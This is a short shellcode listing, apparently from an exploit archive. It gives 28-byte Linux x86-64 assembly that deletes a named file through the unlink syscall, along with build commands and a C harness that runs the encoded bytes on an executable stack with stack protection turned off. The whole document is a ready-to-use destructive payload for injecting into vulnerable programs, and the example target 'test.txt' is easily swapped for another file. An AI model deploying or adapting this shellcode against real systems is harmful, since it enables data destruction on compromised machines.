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Linux/x86-64 - Delete File Shellcode (28 bytes)
[;Title: Linux/x86_64 - delete
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 28 bytes
This shellcode deletes file declared in "fname"
==================ASSEMBLY ========================================
global _start
section .text
_start:
jmp short _file
delete:
push 87 ;sys_unlink
pop rax
pop rdi ;fname
syscall
exit:
xor rax, rax
mov al, 60 ;sys_exit
syscall
_file:
call delete
fname: db "test.txt"
=======Generate Shellcode==========================================
nasm -felf64 delete.nasm -o delete.o
ld delete.o -o delete
========C program ================================================
//gcc -fno-stack-protector -z execstack delete.c
#include <stdio.h>
#include <string.h>
char sh[]="\xeb\x0d\x6a\x57\x58\x5f\x0f\x05\x48"
"\x31\xc0\xb0\x3c\x0f\x05\xe8\xee\xff"
"\xff\xff\x74\x65\x73\x74\x2e\x74\x78\x74";
void main(int argc, char **argv)
{
printf("Shellcode Length: %d\n", strlen (sh));
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
# 0day.today [2024-07-04] #